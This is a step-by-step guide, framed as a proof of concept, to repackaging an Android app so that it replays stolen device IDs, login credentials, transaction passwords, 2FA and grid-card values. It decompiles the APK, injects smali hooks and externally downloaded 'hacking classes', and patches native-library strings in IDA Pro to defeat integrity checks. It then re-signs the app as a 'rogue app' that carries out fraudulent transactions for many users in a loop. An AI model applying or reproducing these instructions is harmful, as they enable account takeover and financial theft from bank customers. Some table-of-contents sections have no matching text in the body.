

Reuse of Stolen Data - Step-By-Step Guide

Table of Contents

Background	2
Set-Up.....	2
A. Required resources	2
B. Extract smali files.....	2
C. Adding hacking classes	2
Managing Anti-tampering signatures	3
A. Stealing APK signatures externally.....	3
B. Substitute stolen signature	3
Substituting stolen data in smali files	4
A. Get stolen data file	4
B. Substituting stolen device id and registration code	4
C. Substituting stolen login user-id and password.....	4
D. Substituting transaction password/2FA, if used	5
E. Substituting grid data, if used	6
Hacking C++ Code.....	8
A. IDA PRO - Change string in rdata	8
Repacking Changed Code.....	9

Reuse of Stolen Data - Step-By-Step Guide

Background

This document describes how data stolen from a rogue app can be used in a copy of the original app to carry out fraudulent transactions. It demonstrates the process where stolen data is pulled from server and then fraudulent transaction of large number of users can be carried out.

Set-Up

A. Required resources

1. apktool - It unpacks/packs apk file.
2. IDA Pro – C++ code De-assembler/assembler
3. <http://www.javadecompilers.com/>

B. Extract smali files

1. Download apktool_<ver>.jar
2. Rename it as apktool.jar
3. Copy apktool.jar into apktool directory.
4. Now copy your APK file into apktool directory and run the following command in your

```
Java -jar apktool.jar d HelloWorld.apk
```

Here HelloWorld.apk is your Android APK file.

This will create a directory **HelloWorld** under the **apktool** directory. Now all programs files are in **smali** directory.

C. Adding hacking classes

1. Download smali files of hacking classes from <https://www.cybernetsecurityinc.com/resources/stealclassessmali.zip> .
2. Unzip it.
3. Move directory “my” into **smali** directory.
4. You can also download the corresponding java classes from <https://www.cybernetsecurityinc.com/resources/stealclassesjava.zip> for your reference.

Reuse of Stolen Data - Step-By-Step Guide

Substituting stolen data in smali files

A. Get stolen data file

For the purpose of POC, modify my/hack/HackedData.smali file and change the values of variables with stolen data. Purpose of variables are self-explanatory.

The stolen data of large number of users can be obtained from the hacker's server using httpclient. Then accounts of large number of users can be compromised by playing this stolen data in loop.

B. Substituting stolen device id and registration code

1. Search for the OnStart method on the main activity.
2. Add the following lines at the beginning of this method, but after the following move statements. The actual variable names can be different.

```
move-object/from16 v11, p0
```

Note: Here p0 contains the activity instance value. Sometimes this move-object statement is not present. In that case, the following lines substitute v11 with p0.

```
invoke-static {v11}, Lmy/hack/Helper;->getDeviceId(Landroid/support/v7/app/CompatActivity;)V  
invoke-static {v11}, Lmy/hack/Helper;->getRegCode(Landroid/support/v7/app/CompatActivity;)V
```

C. Substituting stolen login user-id and password

1. User Id and password are entered by user. The first step is to identify the numeric value of userid and password objects.
 - a) Open the corresponding layout from res\layout directory and get the id of userid and password objects.
 - b) Open R\$id.smali file present in your package folder and search for id of and password objects. From here you get numeric values in hex of these ids.
 - c) Search for found hex value of userid and password objects in login activity smali file. You get something similar to

Reuse of Stolen Data - Step-By-Step Guide

```
const v0, 0x7f08005e
const v0, 0x7f08009c
```

Here 0x7f08005e is id of userid and 0x7f08009c is id of password

4. Search for the method name that is invoked on the submit button. Use <http://www.javadecompilers.com/> and see java code to identify the method. Search for the method as follows.

```
.method
```

5. Add the following lines at the beginning of this method, but after the following move statements. The actual variable names can be different.

```
move-object/from16 v11, p0
```

Note: Here p0 contains the activity instance value. Sometimes this move-object statement is not present. In that case, the following lines substitute v11 with p0.

```
const v0, 0x7f08005e
const v1, 0x7f08009c
invoke-static {v11, v0, v1}, Lmy/hack/Helper;->getLoginUserIdPassword(Landroid/support/v7/app/CompatActivity;II)V
```

D. Substituting transaction password/2FA, if used

1. Transaction password is entered by user. The first step is to identify the numeric value of the transaction password.
 - a) Open the corresponding layout from res\layout directory and get the id of transaction password object.
 - b) Open R\$id.smali file present in your package folder and search for id of transaction password. From here you get numeric values in hex of these id.
 - c) Search for found hex value of userid object in login activity smali file. You get something similar to

```
const p1, 0x7f08009c
```

Here 0x7f08009c is id of transaction password

Reuse of Stolen Data - Step-By-Step Guide

- d) Search for the method name that is invoked on the submit button. Use <http://www.javadecompilers.com/> and see java code to identify the method. Search for the method as follows.

```
.method
```

- e) Add the following lines at the beginning of this method, but after the following move statements. The actual variable names can be different.

```
move-object/from16 v11, p0
```

Note: Here p0 contains the activity instance value. Sometimes this move-object statement is not present. In that case, the following lines substitute v11 with p0.

```
const v0, 0x7f08009c  
invoke-static {v11, v0}, Lmy/hack/Helper;->getTransactionPassword(Landroid/support/v7/app/CompatActivity;I)V
```

E. Substituting grid data, if used

Grid is entered by user. Typically, multiple values are requested. The following method should be used for each key-value set.

1. The first step is to identify the numeric value of the grid key object.
 - a) Open the corresponding layout from res\layout directory and get the id of grid key object.
 - b) Open R\$id.smali file present in your package folder and search for ids of grid key and grid value objects. From here you get numeric values in hex of these ids.
 - c) Search for found hex value of grid key object and grid value in grid activity smali file. You get something similar to

```
const v0, 0x7f08005e  
const v0, 0x7f08009c
```

Here 0x7f08005e is id of grid key and 0x7f08009c is id of grid value

- d) Search for the method name that is invoked on the submit button. Use <http://www.javadecompilers.com/> and see java code to identify the method. Search for the method as follows.

Reuse of Stolen Data - Step-By-Step Guide

.method

- e) Add the following lines at the beginning of this method, but after the following move statements. The actual variable names can be different.

```
move-object/from16 v11, p0
```

Note: Here p0 contains the activity instance value. Sometimes this move-object statement is not present. In that case, the following lines substitute v11 with p0.

```
const v0, 0x7f08005e  
const v1, 0x7f08009c  
invoke-static {v11, v0, v1}, Lmy/hack/Helper;->getGridData(Landroid/support/v7/app/CompatActivity;II)V
```

- f) Say authentication accepts three grid values, then repeat the above code two more times changing object ids.

```
const v0, 0x5f06105e  
const v1, 0x5f08308c  
invoke-static {v11, v0, v1}, Lmy/hack/Helper;->getGridData(Landroid/support/v7/app/CompatActivity;II)V
```

```
const v0, 0x4f06505e  
const v1, 0x7f08051c  
invoke-static {v11, v0, v1}, Lmy/hack/Helper;->getGridData(Landroid/support/v7/app/CompatActivity;II)V
```

Reuse of Stolen Data - Step-By-Step Guide

Hacking C++ Code

1. De-assemble native library in IDA Pro
2. Search for text `java/security/MessageDigest` , if found then replace with `my/hack/MessageDigest` .
3. Search for text `java/util/jar/JarFile` . if found then replace with `my/hack/JarFile`
4. Search for text `java/util/zip/ZarFile`. if found then replace with `my/hack/ZipFile`

A. IDA PRO - Change string in rdata

- 1 To search use **Search->Text**
- 2 Click on the text you want to change.
 - Open Hex View.
 - Right-click on the data.
 - Choose "Edit..." (Alternatively, press F2).
 - Now you can change the string in rdata.
 - Don't forget to add null terminator, i.e. hex 00.
 - You can just leave the rest of the unused bytes of the original string.
 - Patch the program, go to "Edit", choose "Patch program" and then "Apply patches to input file".
- 3 Please note that you can not change a portion of a string. You have to change the whole string. For example, to change "Hello" to "Hi" in "Hello from C++" you have to change the whole string with "Hi from C++" .

Note: Carry out the above changes in libraries of all architecture.

Reuse of Stolen Data - Step-By-Step Guide

Repacking Changed Code

1. Recreate apk. Run the following command

```
Java -jar apktool.jar b HellpWorld -o HellpWorld1New.apk
```

2. Delete existing signature files from META-INF directory.
3. Sign it with jarsigner
4. Install on a phone and open the application. It should not crash.
5. No crashing indicates a good application.
6. If it is crashing, then comment insert lines one by one and retry.

Now you have a fully functional HellpWorld1New.apk, a rogue app that can carry out fraudulent transactions using stolen.